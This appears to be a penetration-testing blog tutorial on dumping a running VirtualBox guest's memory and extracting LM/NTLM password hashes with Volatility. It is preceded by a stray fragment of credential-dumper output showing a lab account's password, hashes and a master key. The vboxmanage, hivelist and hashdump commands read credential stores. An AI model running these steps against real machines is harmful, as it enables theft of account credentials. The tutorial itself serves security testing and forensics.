    kerberos :
     * Username : test
     * Domain   : WIN-254BC5SVOCB
     * Password : test123
     * Key List
       aes256_hmac       <no size, buffer is incorrect>
       aes128_hmac       <no size, buffer is incorrect>
       rc4_hmac_nt       c5a237b7e9d8e708d8436b6148a25fa1
       rc4_hmac_old      c5a237b7e9d8e708d8436b6148a25fa1
       rc4_md4           c5a237b7e9d8e708d8436b6148a25fa1
       rc4_hmac_nt_exp   c5a237b7e9d8e708d8436b6148a25fa1
       rc4_hmac_old_exp  c5a237b7e9d8e708d8436b6148a25fa1
    ssp :
    masterkey :
    credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOKALER DIENST
Domain            : NT-AUTORITÄT
Logon Server      :
Logon Time        : 29.01.2016 18:43:31
SID               : S-1-5-19
    msv :
    tspkg : KO
    wdigest :
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    kerberos :
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    ssp :
    masterkey :
    credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN-254BC5SVOCB$
Domain            : WORKGROUP
Logon Server      :
Logon Time        : 29.01.2016 18:43:31
SID               : S-1-5-20
    msv :
    tspkg : KO
    wdigest :
     * Username : WIN-254BC5SVOCB$
     * Domain   : WORKGROUP
     * Password : (null)
    kerberos :
     * Username : win-254bc5svocb$
     * Domain   : WORKGROUP
     * Password : (null)
    ssp :
    masterkey :
    credman :
Authentication Id : 0 ; 48578 (00000000:0000bdc2)
Session           : UndefinedLogonType from 0
User Name         :
Domain            :
Logon Server      :
Logon Time        : 29.01.2016 18:43:29
SID               :
    msv :
    tspkg : KO
    wdigest : KO
    kerberos : KO
    ssp :
    masterkey :
    credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WIN-254BC5SVOCB$
Domain            : WORKGROUP
Logon Server      :
Logon Time        : 29.01.2016 18:43:29
SID               : S-1-5-18
    msv :
    tspkg : KO
    wdigest :
     * Username : WIN-254BC5SVOCB$
     * Domain   : WORKGROUP
     * Password : (null)
    kerberos :
     * Username : win-254bc5svocb$
     * Domain   : WORKGROUP
     * Password : (null)
    ssp :
    masterkey :
     [00000000]
     * GUID      :    {f22e410f-f947-4e08-8f2a-8f65df603f8d}
     * Time      :    29.01.2016 17:43:30
     * MasterKey :    19c05880b67d50f8231cd8009836e3cdc55610e4877f8b976abd5ca15600d0e759934324c6204b56f02527039e7fc52a1dfb5296d3381aaa7c3eb610dffa32fa
    credman :

Windows Credentials and Memory Dumps – Part 5: Virtualbox & LM/NTLM Hashes

For this part I’m using the standalone version of volatility for windows. The goal is dumping LM/NTLM hashes from a  windows memory image.
When you have access to a host where virtual machines are running, but you do not have acces to the VMs itself, one possibility is to reboot the VM but starting an ISO and resetting or stealing the password that way. Of course this is very noisy and for a pentester there are better ways. With virtualbox you can dump the memory during runtime.
For this test I am running an old Windows XP SP2 box with virtualbox. The host system is running Windows 8.1.
Dump the memory:
C:\Program Files\Oracle\VirtualBox>vboxmanage debugvm “WinXP_1” dumpvmcore –filename c:\Users\dax\Downloads\volatility_2.4.win.standalone\test.elf
From here it is the usual steps:
C:\Users\dax\Downloads\volatility_2.4.win.standalone\volatility_2.4.win.standalone>volatility-2.4.standalone.exe imageinfo -f test.elf
Volatility Foundation Volatility Framework 2.4
Determining profile based on KDBG search…
          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
                     AS Layer1 : IA32PagedMemory (Kernel AS)
                     AS Layer2 : OSXPmemELF (Unnamed AS)
                     AS Layer3 : FileAddressSpace (C:\Users\dax\Downloads\volati
lity_2.4.win.standalone\volatility_2.4.win.standalone\test.elf)
                      PAE type : No PAE
                           DTB : 0x39000L
                          KDBG : 0x8054cde0L
          Number of Processors : 1
     Image Type (Service Pack) : 3
                KPCR for CPU 0 : 0xffdff000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2016-01-22 10:11:07 UTC+0000
     Image local date and time : 2016-01-22 11:11:07 +0100
C:\Users\dax\Downloads\volatility_2.4.win.standalone\volatility_2.4.win.standalone>volatility-2.4.standalone.exe hivelist -f test.elf –profile WinXPSP2x86
Volatility Foundation Volatility Framework 2.4
Virtual    Physical   Name
———- ———- —-
0xe1064380 0x043bf380 \??\C:\Dokumente und Einstellungen\x\Lokale Einstellungen\
Anwendungsdaten\Microsoft\Windows\UsrClass.dat
0xe1078b60 0x04492b60 \Device\HarddiskVolume1\Dokumente und Einstellungen\x\NTUS
ER.DAT
0xe1b4bb60 0x1c5c0b60 \Device\HarddiskVolume1\Dokumente und Einstellungen\LocalS
ervice\Lokale Einstellungen\Anwendungsdaten\Microsoft\Windows\UsrClass.dat
0xe1ca9b60 0x1c562b60 \Device\HarddiskVolume1\Dokumente und Einstellungen\LocalS
ervice\NTUSER.DAT
0xe19f9b60 0x1bf35b60 \Device\HarddiskVolume1\Dokumente und Einstellungen\Networ
kService\Lokale Einstellungen\Anwendungsdaten\Microsoft\Windows\UsrClass.dat
0xe19a77b0 0x1bb727b0 \Device\HarddiskVolume1\Dokumente und Einstellungen\Networ
kService\NTUSER.DAT
0xe186f008 0x1c113008 \Device\HarddiskVolume1\WINDOWS\system32\config\software
0xe1875b60 0x1c11eb60 \Device\HarddiskVolume1\WINDOWS\system32\config\default
0xe187d008 0x1c135008 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe186fb60 0x1c113b60 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
0xe13cd008 0x02c2c008 [no name]
0xe1035b60 0x028d2b60 \Device\HarddiskVolume1\WINDOWS\system32\config\system
0xe102e008 0x028cc008 [no name]
For retreiving the hashes two values are needed in the next step
y=virtual location of system
s=virtual location of sam
C:\Users\dax\Downloads\volatility_2.4.win.standalone\volatility_2.4.win.standalone>volatility-2.4.standalone.exe hashdump -f test.elf –profile WinXPSP2x86 -y 0xe1035b60 -s 0xe187d008
Volatility Foundation Volatility Framework 2.4
Administrator:500:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Gast:501:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Hilfeassistent:1000:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
SUPPORT_388945a0:1002:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
dax:1003:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
x:1004:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
Links: